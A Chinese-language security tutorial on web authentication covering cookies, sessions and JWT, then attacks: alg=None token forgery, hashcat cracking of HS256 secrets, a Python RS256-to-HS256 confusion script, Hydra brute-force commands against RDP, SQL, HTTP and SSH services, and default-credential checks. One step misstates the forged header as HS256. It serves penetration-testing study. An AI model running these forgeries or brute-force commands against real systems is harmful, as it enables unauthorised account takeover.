- 1. 前言
- 1.1 Cookie
- 1.2 Session
- 1.3 Token
- 2. JWT
- 2.1 Header
- 2.2 Payload
- 2.3 Signature
- 2.4 综合利用工具—jwt_tool
- 3. 认证攻击
- 3.1 签名未验证
- 3.2 对称式签名密钥爆破
- 3.3 算法混淆攻击
- 4. 暴力破解—Hydra
- 4.1 hydra的使用
- 4.2 hydra参数
- 5. 测试默认凭证
- 6. 记住密码功能
1. 前言
HTTP协议是无状态的,所谓的无状态就是客户端每次想要与服务端通信,都必须重新与服务端链接,意味着请求一次客户端和服务端就连接一次,下一次请求与上一次请求是没有关系的。
这种无状态的方式就会存在一个问题:如何判断两次请求的是同一个人?就好比用户在页面发起请求获取个人信息,然后在另一个页面同样发起请求获取个人信息,我们如何确定这俩个请求是同一个人发的呢?
为了解决这种问题,我们就迫切需要一种方式知道发起请求的客户端是谁?此时,cookie、token、session就出现了,它们就可以解决客户端标识的问题,在扩大一点就是解决权限问题。
1.1 Cookie
Cookie是一种在客户端存储数据的技术,它是由服务器发送给客户端的小型文本文件,存储在客户端的浏览器中,大小限制大致在4KB左右。在客户端发送请求时,浏览器会自动将相应的 Cookie 信息发送给服务器,服务器通过读取 Cookie 信息,就可以判断该请求来自哪个客户端。Cookie 可以用于存储用户的登录状态、购物车信息等。
在以前很多开发人员通常用cookie来存储各种数据,后来随着更多浏览器存储方案的出现,cookie存储数据这种方式逐渐被取代。
(存储在客户端,容易被盗取)

1.2 Session
session由服务端创建,当一个请求发送到服务端时,服务器会检索该请求里面有没有包含 sessionId 标识,如果包含了sessionId,则代表服务端已经和客户端创建过session,然后就通过这个sessionId去查找真正的session,如果没找到,则为客户端创建一个新的 session,并生成一个新的 sessionId 与 session 对应,然后在响应的时候将 sessionId 给客户端,通常是存储在 cookie 中。如果在请求中找到了真正的 session,验证通过,正常处理该请求。
每一个客户端与服务端连接,服务端都会为该客户端创建一个session,并将session的唯一标识sessionId通过设置Set-Cookie头的方式响应给客户端,客户端将sessionId存到cookie中。
(存储在服务器,存储查询大量Session,查询速度慢资源开销大,性能也会产生影响)

1.3 Token
Token是一种在客户端和服务端之间传递身份信息的方式。当用户登录成功后,服务端会生成一个Token,将其发送给客户端。客户端在后续的请求中,需要将Token携带在请求头或请求参数中。服务端通过验证Token的合法性,就可以确定该请求来自哪个用户,并且可以根据用户的权限进行相应的操作。Token可以有效地避免了Cookie的一些安全问题,比如CSRF攻击。
Token是一个由一串字符组成的令牌,用于在计算机系统中进行身份验证和授权。
(存储在客户端,解决了大量 Session 存储在服务器访问速度慢的问题,并且加密保证安全)

2. JWT
JSON Web Token(缩写 JWT)是目前最流行的跨域认证解决方案。JWT 的原理是,服务器认证以后,生成一个 JSON 对象,发回给用户,之后用户与服务端通信的时候,都要发回这个 JSON 对象。服务器完全只靠这个对象认定用户身份。为了防止用户篡改数据,服务器在生成这个对象的时候,会加上签名。
JWT是一个很长的字符串,中间用点.分隔成三个部分,分别是头部、负载、签名。以APP jwt为例
eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiJlY2M0ODAzNzExOGFmZmE4MmU5OGFiODZjZmRjNDcyMiIsImlhdCI6MTc2Mzc5Mjk2MSwic3ViIjoie1wib3RoZXJcIjpcIlwiLFwicHJvamVjdFwiOlwibmVvXCIsXCJ1c2VySWRcIjpcImVjYzQ4MDM3MTE4YWZmYTgyZTk4YWI4NmNmZGM0NzIyXCIsXCJ0aW1lb3V0XCI6ODY0MDAwMDAwMDAwLFwiaWRlbnRpdHlcIjoxLFwiYXBwSWRcIjpcImdsb2JhbFwiLFwicGFzc3dvcmRUeXBlXCI6MSxcIm9wZXJhdGlvblwiOlwiTk9STUFMXCIsXCJ1c2VybmFtZVwiOlwibDB2ZWh6enpAZm94bWFpbC5jb21cIn0iLCJpc3MiOiJXRUlUQUluZW8iLCJleHAiOjI2Mjc3OTI5NjF9.Ad81vPrSehePXhLkb_fi_lw385Ih4uW_jMlUOsPeGoU
2.1 Header
Header 通常是下面的样子。
{"alg": "HS256","typ": "JWT"
}
上面代码中,alg属性表示签名的算法(algorithm),默认是 HMAC SHA256(写成 HS256);typ属性表示这个令牌(token)的类型(type),JWT 令牌统一写为JWT。
2.2 Payload
Payload 用来存放实际需要传递的数据。JWT 规定了7个官方字段,供选用;除了官方字段,也可以定义私有字段
iss (issuer):签发人
exp (expiration time):过期时间
sub (subject):主题
aud (audience):受众
nbf (Not Before):生效时间
iat (Issued At):签发时间
jti (JWT ID):编号
2.3 Signature
Signature 部分是对前两部分的签名,防止数据篡改。通过某个保存在服务器的密钥(secret),使用 Header 里面指定的签名算法(如HMAC SHA256)产生签名。
三个部分的内容用base64编码后用.连接,被返回给用户。
2.4 综合利用工具—jwt_tool
jwt_tool是一款用于验证、伪造、扫描和篡改 JWT的综合性工具
项目地址:https://github.com/ticarpi/jwt_tool
3. 认证攻击
3.1 签名未验证
将 alg 改为 None(无算法)
eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiJlY2M0ODAzNzExOGFmZmE4MmU5OGFiODZjZmRjNDcyMiIsImlhdCI6MTc2Mzc5Mjk2MSwic3ViIjoie1wib3RoZXJcIjpcIlwiLFwicHJvamVjdFwiOlwibmVvXCIsXCJ1c2VySWRcIjpcImVjYzQ4MDM3MTE4YWZmYTgyZTk4YWI4NmNmZGM0NzIyXCIsXCJ0aW1lb3V0XCI6ODY0MDAwMDAwMDAwLFwiaWRlbnRpdHlcIjoxLFwiYXBwSWRcIjpcImdsb2JhbFwiLFwicGFzc3dvcmRUeXBlXCI6MSxcIm9wZXJhdGlvblwiOlwiTk9STUFMXCIsXCJ1c2VybmFtZVwiOlwibDB2ZWh6enpAZm94bWFpbC5jb21cIn0iLCJpc3MiOiJXRUlUQUluZW8iLCJleHAiOjI2Mjc3OTI5NjF9.Ad81vPrSehePXhLkb_fi_lw385Ih4uW_jMlUOsPeGoU
app jwt的Header是eyJhbGciOiJIUzI1NiJ9 base64解码为{"alg":"HS256"}
我们将其修改为{"alg":"HS256"} 然后重新base64编码为eyJhbGciOiJOb25lIn0
Payload内容则可自行修改
删除 Signature 部分(仅保留 Header.Payload.) 注意后面的.不能删,否则不符合JWT格式了
最终修改结果如下
eyJhbGciOiJOb25lIn0.eyJqdGkiOiJlY2M0ODAzNzExOGFmZmE4MmU5OGFiODZjZmRjNDcyMiIsImlhdCI6MTc2Mzc5Mjk2MSwic3ViIjoie1wib3RoZXJcIjpcIlwiLFwicHJvamVjdFwiOlwibmVvXCIsXCJ1c2VySWRcIjpcImVjYzQ4MDM3MTE4YWZmYTgyZTk4YWI4NmNmZGM0NzIyXCIsXCJ0aW1lb3V0XCI6ODY0MDAwMDAwMDAwLFwiaWRlbnRpdHlcIjoxLFwiYXBwSWRcIjpcImdsb2JhbFwiLFwicGFzc3dvcmRUeXBlXCI6MSxcIm9wZXJhdGlvblwiOlwiTk9STUFMXCIsXCJ1c2VybmFtZVwiOlwibDB2ZWh6enpAZm94bWFpbC5jb21cIn0iLCJpc3MiOiJXRUlUQUluZW8iLCJleHAiOjI2Mjc3OTI5NjF9.
若服务器未校验 alg 字段且允许 None 算法,会直接信任恶意令牌,攻击者可冒充其他身份进行登入
3.2 对称式签名密钥爆破
某些对称的签名算法,例如HS256(HMAC+SHA-256),可以通过爆破的方式得到密钥,从而实现修改Payloads后的重签名
用hashcat爆破密钥,-a 0指定字典攻击,-m 16500指定hash类型为HS256,后面跟上JWT,最后是指定字典,此处使用rockyou.txt字典,根据爆破结果密钥是123456
hashcat.exe -a 0 -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcyODQzNzMwNiwiZXhwIjoxNzI4NDQ0NTA2LCJuYmYiOjE3Mjg0MzczMDYsInN1YiI6InVzZXIiLCJqdGkiOiJhMDZkYTg3ZWRkYWE4Zjg5MzgxYmVjMWFjMzU4NGNkYyJ9.cZ1VQX4r1Ymo_gZCs8FqfYPlOD5IriiQZjFnA2jOBzU rockyou.txt

3.3 算法混淆攻击
算法混淆攻击(也称为密钥混淆攻击)是指攻击者能够迫使服务器使用不同于网站开发人员预期的算法来验证JSON web令牌(JWT)的签名,这种情况如果处理不当,攻击者可能会伪造包含任意值的有效jwt而无需知道服务器的秘密签名密钥
JWT可以使用一系列不同的算法进行签名,其中一些,例如:HS256(HMAC+SHA-256)使用"对称"密钥,这意味着服务器使用单个密钥对令牌进行签名和验证,显然这需要像密码一样保密

其他算法,例如:RS256(RSA+SHA-256)使用"非对称"密钥对,它由一个私钥和一个数学上相关的公钥组成,私钥用于服务器对令牌进行签名,公钥可用于验证签名,顾名思义,私钥必须保密,但公钥通常是共享的,这样任何人都可以验证服务器发出的令牌的签名
以下提供一个RS256转HS256的攻击代码:
import jwtoriginal_token = "原始JWT"
#服务器公钥
public_key = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
-----END PUBLIC KEY-----"""
# 修改alg为HS256并用公钥重新签名
header = {"alg": "HS256", "typ": "JWT"}
payload = {"sub": "admin", "iat": 1516239022}
new_token = jwt.encode(payload, public_key, algorithm="HS256", headers=header)
print(f"伪造的JWT: {new_token}")
为防止算法混淆攻击,最新版的PyJWT模块无法执行,需要降级到1.7.1
4. 暴力破解—Hydra
hydra下载地址:https://github.com/maaaaz/thc-hydra-windows
4.1 hydra的使用
使用方法:hydra <参数> <IP地址> <服务名>
帮助命令:hydra -h //查看基本用
4.2 hydra参数
使用时加上-vV -e ns输出详细信息和空密码测试,-t可以设置线程,线程越大速度越快.
-R #继续从上一次进度接着破解。
-S #采用SSL链接。
-s #PORT 可通过这个参数指定非默认端口。
-l #LOGIN 指定破解的用户,对特定用户破解。
-L #FILE 指定用户名字典。
-p #PASS 小写,指定密码破解,少用,一般是采用密码字典。
-P #FILE 大写,指定密码字典。
-e #ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C #FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-M #FILE 指定目标列表文件一行一条。
-o #FILE 指定结果输出文件。
-f #在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-t #TASKS 同时运行的线程数,默认为16。 (线程越大速度越快)
-w #TIME 设置最大超时的时间,单位秒,默认是30s。
-v/-V #显示详细过程。
server #目标ip
service #指定服务名
OPT #可选项
hydra爆破rdp:
hydra -l Administrator -P password.txt rdp://192.168.1.111
hydra爆破mysql:(前提是目标的mysql可远程访问)
hydra -l root -P password.txt 192.168.1.111 mysql
hydra爆破sql server:(前提是目标的mysql可远程访问)
hydra -l sa -P password.txt 192.168.1.111 mssql
hydra爆破http:( http-get or http-form-post.)
hydra -l admin -P password.txt 192.168.1.111 http-get /login.php
hydra -l admin -P password.txt 192.168.213.135 http-form-post "/dvwa/login.php:user=^USER^&pass=^PASS^:<title>invalide</title"
【注】(user,pass改为账户密码提交表单
hydra爆破ssh:( 前提是目标的远程连接可以访问)
hydra -l root -P password.txt 192.168.1.111 ssh
5. 测试默认凭证
弱口令 / 默认密码漏洞 是指系统或应用在身份认证环节中使用了过于简单、易被猜测的密码,或在上线时未更改厂商提供的默认凭证(默认用户名+密码),从而被攻击者轻易获取访问权限。
这种漏洞常出现在:
- 操作系统账户(如 root / administrator)
- 数据库服务(如 MySQL、Redis、MongoDB)
- Web 管理后台(如 phpMyAdmin、Jenkins)
- 物联网设备(如路由器、摄像头)
测试常见应用程序的默认凭据
-
尝试默认用户名,例如:admin,administrator,root,system,guest,operator,superuser
-
应用程序管理用户通常以应用程序或组织命名。 这意味着如果您正在测试名为“ABC”的应用程序,尝试使用abc / abc或任何其他类似的组合。
-
使用上面的用户名和空密码。
-
查看页面源代码和JavaScript,查找注释中写入的帐户名称和密码。
-
检查包含用户名和密码的配置文件。
-
检查密码提示。
-
测试新帐户的默认密码
6. 记住密码功能
-
查找存储在cookie中的密码。 检查应用程序存储的Cookie。 验证凭据不是以明文形式存储的。
-
检查哈希机制:如果它是一个常用的,众所周知的算法,请检查它的强度,它自带的哈希函数,尝试多个用户名来检查哈希函数是否容易被猜测。

- 验证凭据仅在登录阶段发送,并且不会与每个请求一起发送到应用程序。

考虑其他敏感的表单字段(例如,必须在密码恢复或帐户解锁表单中输入的秘密问题的答案)。
- 检查:autocomplete =“off”